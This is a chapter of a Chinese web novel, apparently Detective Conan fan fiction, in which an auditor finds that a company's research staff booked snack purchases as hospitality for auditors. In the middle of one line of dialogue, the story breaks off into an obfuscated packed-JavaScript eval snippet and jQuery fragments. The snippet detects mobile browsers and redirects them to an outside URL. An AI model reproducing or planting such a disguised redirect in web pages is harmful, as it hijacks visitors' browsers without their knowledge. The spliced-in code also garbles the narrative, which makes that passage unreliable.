从餐厅驱车回到不法企业时已经过了晚上九点。


    贝尔摩德自称还有其他事情，早早在东京市内下了车。她当着两人的面帮花田鹿买了一杯奶茶，说是给审计老师压压惊，之后只留下波本送花田鹿回去休息。


    熄了车灯，花田鹿隔着车窗环顾整个黑漆漆的园区，不仅没有路灯亮着，也没有哪个屋子的灯还开着，像是一座黑暗的死城。


    她下意识地想要打开车门逃到有光亮的地方，车门纹丝不动。果不其然被上了儿童锁。


    “已经到了，花田老师。”波本先行下车帮花田鹿拉开车门，却又立即单手竖起止住花田鹿的动作，“稍等，帮花田老师解一下那个东西。”


    花田鹿转过身，一手拿着奶茶，一手提起右裤腿露出脚踝，余光看到波本俯下身借着车顶灯的光解锁。


    为了缓解异性近距离带来的尴尬，花田鹿目光望着主楼问：“朗姆老师已经下班了？”


    “朗姆这两天有事外出，花田老师有什么需要和朗姆沟通的，我这边可以代为转达。”


    花田鹿试探道：“朗姆老师没有说什么？”


    “没有。花田老师是要和朗姆沟通问题么？我可以帮忙转达给他。”


    “嗯……也不是。”花田鹿犹豫着拒绝了。


    她想起朗姆曾说不要把问题告诉其他人，包括眼前这个负责收集转交审计资料的波本。


    “没关系，我帮花田老师转达，或者花田老师直接和朗姆说，其实都是一样的。好了。”


    随着波本的动作，花田鹿感觉脚下终于轻快起来。


    “谢谢波本老师，我这边目前还没有发现新的问题，因为咱们资料上的太慢了，进场前就发过资料清单了，现在基本都没怎么提供。昨天晚上抽的那些项目的资料目前也没发过来。”


    “今天其他部门给我拿了些资料，花田老师如果暂时还不休息，我去整理一下就给老师拿过去。”


    * * *


    “花田老师，这是审计期间的考勤记录和工资领取签字记录，都是原件，您注意保存。和您说一下，”波本说着打开几个文件盒，大概展示了一下，“内勤部分直接勾的纸质考勤表，外勤是打卡软件的电子记录。每月每个人的具体工资表在给您刚给您拷的电子版统计表里，纸质的领取签字记录上会显示内外勤的出勤天数，但不显示具体金额。”


    “波本老师，我之前抽的那些项目的资料，咱们真的有吗？”


    看着波本最新拷过来的资料和几档案盒的纸质资料都是行政方面的，花田鹿终于忍不住又确认了一次。


    “有。”波本答得相当笃定，“只是有些项目没有及时归档，所以要再稍等一两天。如果没什么其他什么事情，我就先回去了，花田老师也早些休息。”


    花田鹿也不好意思点破上次七夕项目的资料就简洁得像是刚编的一样，只能小声嘟囔着“那行吧”，目送波本微微欠身离开。


    考虑到最近朗姆不在，花田鹿只能先把问题写好，然后继续找新的问题。


    几经犹豫，她最终还是选择了没有附菜单的小问题。她当然是怀疑贝尔摩德存在奢华消费，为规避费用超标，虚构了被招待方的真实人数。但所谓的两人双双过敏，她根本没有什么可以否认的办法。而像都市传说一般的在米花町不要当社长，她已感受过了。


    花田鹿从财务系统点开对应月份的凭证，打算写一下具体的问题描述，忽然发现自己竟然漏了一个摘要很违和的凭证。


    摘要：招待年报审计组。


    花田鹿一连往回追了几年的序时账，整个审计期间的每年3月到4月都有大约四五笔招待审计的业务招待费，粗略一加已有500多万日元。每年的费用和往来挂账却怎么也没看到什么审计费的支出。


    想着波本刚离开没十几分钟，也许还没回家，花田鹿赶紧通过聊天软件又把波本摇了回来。


    “波本老师，有个问题想和您确认一下。”


    “请问是什么问题？”匆匆赶回来的波本还是保持着好脾气与微笑。


    花田鹿退回到凭证详情，用光标选中上面的摘要，不确定地问：“我看每年都有几笔这样写着招待审计的凭证？可是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509693|202946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我之前听朗姆老师介绍说咱们公司是第一次被审计？难道咱们之前还有别的审计来过吗？”


    波本弯下腰顺着花田鹿光标所在的位置看去，不出几秒笑得更委婉了。但他没有回答，只是又看向花田鹿。


    怎么看都像是一只已经饱餐的狐狸欣慰地看着囤在自己地盘上的活鹿库存。


    难道之前的审计全都没能活着回去？


    想到这里，花田鹿严肃地站起来后撤一步，警惕地盯着波本。


    波本笑着叹了一口气，也礼貌后退一步，“我去把她找来吧。”


    * * *


    “所以是小零食？”花田鹿看着眼前这个年龄和自己差不多大的女孩，“买的零食只是给你们研发部门吃的吗？其他部门呢？”


    “我们部门加班比较多所以买了零食……找了等额的替票……”女孩低头叠着自己白大褂的衣角，“我们和其他部门基本没有交流，不太清楚他们会不会买……”


    花田鹿余光看了一下电脑显示的22点，这个时间还能马上叫过来，说加班多确实不像是演的。实在不行，她现在也有了全员考勤，一会儿查一下也可以。


    “那怎么写的招待审计呀？”花田鹿尽量把语气放得温柔些。


    “因为从来没有审计来过。”


    原来在这里无中生有呢。


    花田鹿哭笑不得，继续问：“按照你们这个报销频率来看，是不是过几天又要这样报一单？”


    女孩诚实地点了点头。


    “之后不要这样写了，不然我也很冤。”


    都还没来过，就先成了账面上企业内部部门大额报账的借口，试问哪个审计愿意？


    “对了，你们研发部门都研发什么？”花田鹿顺带问了一句。


    “诶？”女孩求助地看了一眼波本，却没得到回应。


    “我就想了解一下你们各个部门的职能。之前进场会朗姆老师只介绍了信息部和业务部门。”


    女孩皱眉思考了几秒，最后简单回道：“不公开销售的定制药物。我们也会统称它们为：不存在的药物。”